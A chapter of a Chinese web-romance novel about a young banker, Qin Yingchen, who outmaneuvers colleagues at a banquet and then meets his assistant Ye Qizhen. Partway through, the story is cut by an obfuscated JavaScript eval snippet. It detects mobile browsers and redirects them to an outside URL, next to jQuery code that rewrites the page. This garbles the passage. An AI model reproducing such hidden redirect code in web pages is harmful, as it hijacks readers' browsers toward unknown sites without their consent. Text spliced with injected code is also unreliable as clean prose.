日暮时分。
锦园。
烟霞挂染水榭翘起的檐角,风雨连廊斜下,锦鲤池中蕴养一座假山,都是请京中高人算过的置景。
一重红墙之外,水滴回落池塘,经年不断的水汽氤氲。
墙内,却也是烟雾缭绕。
“小秦总不来一根?怎么,得我亲自给你点上不成?”
郭总面朝秦应忱的方向,吐出一口浊烟。
话是含笑说的,法令纹层层叠叠,像千年龟壳上深刻的纹路。
却丝毫没有给他点烟的意思,倒像是在给他点火。
今日这局,正是郭总攒的。
名头是给秦应忱接风洗尘,欢迎他加入CIN。顺便,投行条线负责人张墨刚出差回来,郭总作为分管投行的直系副总,说是要给秦应忱引见。
张墨五十上下的年纪,生了一张神似包青天的脸,开口却是另一回事:
“哪儿能劳动郭总您呐?今儿是我跟小秦总第一回见面,早听说有位天纵英才要加入咱CIN投行,小秦总你来啊,是我张某的荣幸!这烟,说什么也得我来给你点!”
点了火还不够,这位是来添柴的。
秦应忱没立刻作什么反应,指腹搭着白绸餐布的刺绣一角缓缓摩挲,掀眸散散环顾这一桌人。
本是这郭守义设的鸿门宴,还特地招呼了几个当用的MD来,上下夹击预备给他个下马威。却不料这饭局多了个不速之客——
正坐在主位,笑眼眯眯观望不语的,华总。
老总一说要来,几位分管其他业务条线的副总也都纷纷过来讨了个座。
几尊大佛在上,郭守义叫来的大头兵,都只剩下赔笑的份儿。满满一桌人,就剩个张墨陪他唱和。最先发难,倒最憋屈。
秦应忱视线落在郭总渐挂不住的脸色,倏地一展颜,笑了。
他这一笑,众人的目光更加聚焦到他脸上,手里的烟都翘着半搭在桌上,忘了吸上一口。
就连郭守义都不得不承认,这小子长得实在好看。
尤其是笑起来,眉骨顺接鼻梁,英挺却不嶙峋,而是东方骨相独有的流畅,跟清越硬朗的下颌线一道,都令他想起那句——如切如磋,如琢如磨。
可惜这位绝不会是个君子。
秦应忱此人,一身玉堂金马供养出来的骄矜傲骨,处事为人却能周全得让所有人都挑不出半点毛病。
而那剑眉星目间偶尔不加敛藏的阴悒,却像只有他郭守义一个人看得见似的,令他本能地阵阵心惊。
怪不得上头的人交代下来——
要盯着他,防着他……
“郭总,墨总,您二位都太客气了。”
秦应忱笑过,不失诚恳地,慢条斯理道。
“在座各位于我都是前辈,可甭叫小秦总了,就叫我……应忱。”
——叫应忱,而不是小秦。
上首几人闻言,注视秦应忱的眼睛微眯,探究之意更甚。
靠近中枢的人,才有资格知道这庞大的CIN集团背后,是秦家做主。
这几位高层都跟投行关系不大,并不清楚这个新来的年轻人的底细,只有在听华总带头叫他“小秦总”的时候,略微感知到事情的微妙。
而现在,这位年轻人自谦时,恰恰又避开了那个会令他们为难的称呼,若说是巧合……
“至于这烟啊,”秦应忱摇摇头,十分抱歉又为难似地,环顾一圈,作势压低了声音——
“老婆管得严,不让抽。”
“你结婚了?!”
郭总反应最大,浑浊的声线都高了八度。
这事儿没人跟他交代啊!
众人也炸开了锅,纷纷感慨:
“小秦总看着这么年轻,居然就成家了?”
“是啊,不知娶的是哪家的闺秀啊?”
郭总阴阳怪调地附和,也不管自己问出的话有多奇怪,炯炯直盯着他。
秦应忱勾着嘴角浅笑一声,“是我爷爷战友的孙女儿。”
爷爷、战友。
虽说京城是个扔一块砖能砸一片处长的地方,但这两个词儿同时摆出来,总不免引人多看他两眼。
不过,他们这一行里,各路公主太子爷还少吗?真正能量巨大的,都在外资投行忙着搭桥变现呢。虽说这位,也是从外资回来的……
秦应忱没管他们心思几转,微微无奈摇头,掩不住宠溺似的:
“人儿娇气,闻不得一丁点烟味儿。我回家啊,她都得揪着我衣领闻半天。”
若是叶其珍在场,必然要对他凭空造谣的演技敬佩得五体投地。
秦应忱不失好笑地想,也不知友情出场的那位,有没有被他念叨得耳根发热。
想到这,他肌肉记忆的完美表情里,笑意才终升了点温度。
“快别提了,我家那个也是啊!”
话题似石子投湖漾开水波,将原本静落的酒桌搅动开来。一老大哥绘声绘色:
“我媳妇儿年轻时候,不让我抽烟不让我喝酒,嘿那管的我跟看孙子似的!后来我说姑奶奶哟,我这不抽烟不喝酒,那项目怎么来呀?咱家吃什么呀?”
他两手一拍,“现在怎么样?还不是在家乖乖煮好了醒酒汤,等我回去吗?”
桌上一番哄笑,混着烟味的粗砺。
秦应忱垂眸听着,缓缓晃动手中的茶盏。
调动人的分享欲,是件很简单的事情。他要桌上的气氛活络,那跟一群四五十岁的男人,不聊老婆聊什么?
他嘴角弯起十分完美的弧度,茶水明镜般倒映着的眼底,却是分明的冰冷。
眼看着愈聊愈欢,服务员也开始传主菜,桌上蒸腾得越发热闹,郭总细眼一眯,给张墨使了个眼色。
张墨只得硬着头皮,转移话题:
“要我说,弟妹找了你真是有福气!听说小秦总在DS的时候,手上就有不少马上报会的项目。不过啊,你怎么就带了定华那一个项目过来?要是自个儿干不完,咱们这么多人在,大家分一分也行啊。”
此话一出,包厢里温度骤降。
那些MD脸上方才的笑容再挂不住,全都落了个干净。
尽管他们都清楚,投行的项目根本没有分一分匀一匀的说法,承揽全靠肉搏,能拿多少各凭本事。
但被人明明白白一句话挑了出来,嫉妒也是人之常情,最起码,难做到心无芥蒂谈笑风生。
终于图穷匕见。
秦应忱心下不耐,无声冷笑:
“我们做投行的,最终都只有一个目的,就是送好公司上市,给投资者更多优质的选择。墨总恐怕是出差久了,跟市场上的人接触太多,忘了CIN是什么性质了?创收从来都不是唯一宗旨,我们这些人,都是在为我国的资本市场鞠躬尽瘁而已。”
简直强词夺理!
郭总心下暗骂,但是这条条官话一摆,属实让人无从反驳。
张墨干笑两声,“不愧是小秦总啊,这觉悟确实……”
“墨总过奖了,”秦应忱甚至没等他说完,幽幽一笑,“没办法,一家子人民公仆,我虽位卑,思想觉悟总得跟上不是?”
这下桌上是彻底的鸦雀无声。郭总都有些傻眼,他这是不演了?
秦应忱却悠悠地,给自己斟了杯白酒。
“不过啊,墨总批评的对,我没多带项目过来,怪我太念旧情,舍不得之前的孩子们白干。对不住各位,这杯酒,我自罚。”
说着扬起酒盅,一饮而尽。
众人纷纷摆手,连称不敢,甚至有给自己也倒了酒的:“我陪小秦总一杯。”
秦应忱却没在意,而是含着笑将目光投向主位,眉峰微抬:
“等华总和各位领导提完,我再打个圈儿。您看如何……华总?”
“哈哈哈——”
看戏许久的华总终于拊掌大笑,隔空点了点他,拿他没办法似地,端起了酒杯。
“我提这杯啊,只有一句话,也就是咱们今天的主题——”
矍铄的目光直射过来,与秦应忱的视线在半空中交汇。
“欢迎小秦总……归队!”
这个词,用得极为暧昧。
听在所有人的耳朵里,大家嘴上附和着欢迎,一声亮过一声,心思各异地,干了这杯意味不明的酒。
明黄色墙壁映起一笼暖金,红木桌太师椅的朱色愈发沉淀,在一室渐浓的酒香蒸腾间,很容易让人滋生高居庙堂的错觉。
秦应忱果真喝了一圈儿。
酒精在这种场合中的作用,是中国人自古心照不宣的规矩。尤其是他们这种,平日里一句话含三重义的人,几杯酒下肚,才能真真假假地,说些不被人揣起来嚼两嚼的话。
分管经纪业务的常总,这会儿已经搭起秦应忱的肩膀,一声长叹,“应忱啊,你就是成家忒早!我要是早认识你,非得把你介绍给我女儿不可!”
说着左看右看,哪哪都满意,“真是年轻有为,有你这么成器的儿子,你父母得多骄傲啊!”
秦应忱本来只佯作半醉,笑而不语。听到后半句话,醺意阑珊的眼里骤然结了一层霜冻般的阴翳。
又很快沉入眼底,了无痕迹。
他摇摇头,一脸失落的神情,淡声诉苦:
“我父亲对我,可从来没有满意的时候。总说我……不如我姐,不如我哥。”
像是听到了什么关键词,郭总一甩脑袋,抻着脖子朝这边看过来,明明眼睛都喝得通红,还强作清醒竖起耳朵。
秦应忱看在眼里,缓缓地,勾出一抹讽笑。
酒局将尽,盥洗室里。
秦应忱单手撑着丝织屏风上刺绣精绝的双面青龙,屏息对抗胃里酒精的灼烧。
两斤打底的白酒,像滚汤的熔岩自喉咙一路蔓延到胸口,再掀得胃里翻江倒海,锻铁似地承受着反复的锤打煎熬。
“难受了?”
常总路过他身后,拍了拍他的背。
“你啊,太拼!”他长叹一声,“我懂。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765105|174540||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>短短一顿饭,常总已经脑补了完整一出,勋贵门第的小儿子不受宠爱,拼命工作奋斗博取父亲青眼的故事。
“待会儿怎么走?”常总随口问他。
秦应忱没多想,“等人来接。”
“媳妇儿来接你?”
常总问完,看秦应忱眸光微动,转身笑开。
“年轻小夫妻,好啊!蜜里调油哟……”
秦应忱目送他走远,原地倚立,一动未动。
半晌,他面无波澜地,打开了手机。
冷眼乜去,一颗圆滚滚的贝壳横斜在他的联系列表里,格格不入。
纯白色的一团,壳口紧紧闭着,掩耳盗铃似地混在白净的背景中。
不像贝壳,倒像个猫爪子。
秦应忱一拧眉,点开这个头像。
于是——
叶其珍甩着一头半干的长发,在把头发吹完和接受老板召唤之间,果断地扔下了吹风机,三步并作两步冲进卧室。
手在一整柜的新衣服中间快翻出了残影,叶其珍终于拎出来一条纯白色棉麻质地的无袖长裙。
落地镜前,亭亭饱满将胸前的褶皱撑紧,及腰处又收得细如荷茎,显得v领开口更敞。
叶其珍抬手,稍稍抚在心口。
这一番折腾得,她的心跳都有些过速。
手指习惯性勾到黑框眼镜腿,叶其珍却微微一顿,抬头看向镜中。
远山含黛的眉眼是一贯的温润,微微轻扬的眼尾却因水汽蒸腾蕴了一抹桃粉,琥珀瞳仁流光潋滟,清纯中平添欲色。
叶其珍向来知道自己长得还算好看。
没戴这副眼镜的时候,她经常被人意味不明地评价说,生了一双会勾人的眼睛。
手指蜷缩了两秒,叶其珍还是把眼镜架到了脸上。
她戴眼镜前后的长相差别有些大。
跟秦应忱又不算很熟,如果他认不出她不戴眼镜的样子,那更尴尬了。
临到出门,她又忽地跑回来,找出唇膏涂了两下。
最后看了镜子一眼,叶其珍抓起手机冲出门去。
为了不让老板等着急,她这个地铁常客,还破天荒地拦了辆出租车。
只盼望不要太堵车,让她本就不富裕的钱包雪上加霜。
京城的出租车司机向来健谈。
只是叶其珍没想到,大哥瞧两眼后视镜,第一句话就起了个惊雷:
“姑娘这是急着见男朋友去吧?”
“啊?!”
叶其珍吓了一大跳。
心脏像被忽然扯了一把再撒手,在胸腔里弹得砰砰乱撞。
“我、我是去见老板的……”
叶其珍舌头都有些打结。
大哥“噗嗤”笑出声,像听了个惊天大笑话。
“快甭逗了您内!哪个去见老板的眼睛里有星星啊?”
“……”
叶其珍怔住,下意识想反驳,却一句话也没说出来。
她干笑两声,扭头看向窗外。
夜幕里的路灯似道道流星划过,映亮的车窗里,叶其珍看到了自己的眼睛。
有星星……
她默默降下半扇车窗。
视线投落车外,只留初夏的晚风徐徐吹在脸上。
像一浪接一浪的潮涌。
*
秦应忱刚走出饭店大门,就看见了被他无端叫过来的人儿。
马路旁边,咖啡店LOGO的灯箱下,叶其珍静静蜷坐在木质的台阶上。
——像只离群的小天鹅。
脆弱、孤寂,迷惘不知归处。
他的脚步忽地顿了一下。
蓦然想起一个月前,西山的园子里,祖父问他:
“是个怎样的姑娘?”
他半真半假一笑:
“娴静时如姣花照水。”
现在想来却不妥。
林黛玉孤零不寿,他不该拿来形容她。
“今儿真是醉了。”
秦应忱摇头,接过泊车员双手奉上的车钥匙,朝叶其珍走去。
他不知道,叶其珍这会儿脑子里想的,竟然是财务三张表的勾稽关系——
每个投行面试的必考题。
她梳理了一遍又一遍,要确保以后面试能对答如流。
在拿到全职工作offer之前,紧绷着利用每一秒已是她的常态。
像洪流中茕茕孑立的一枝独木,她苦苦支撑,只能靠自己。
视线里忽然吊进来一只黑色车钥匙。
质感上乘的皮质方块,被大手的指腹随意一勾。
叶其珍尚未回神,懵懵地抬头,落进了秦应忱的眼睛。
夏夜里蝉拖长的缠绵尾音,似乎将时间抻长回初见那天。
她仰望他,同样的角度。
奇怪的是,那些财务报表在此刻通通散尽,叶其珍思绪旁逸斜出地乱撞,脑子里只剩下一个念头——
当时怎么没发现,他的眼睛竟这样好看?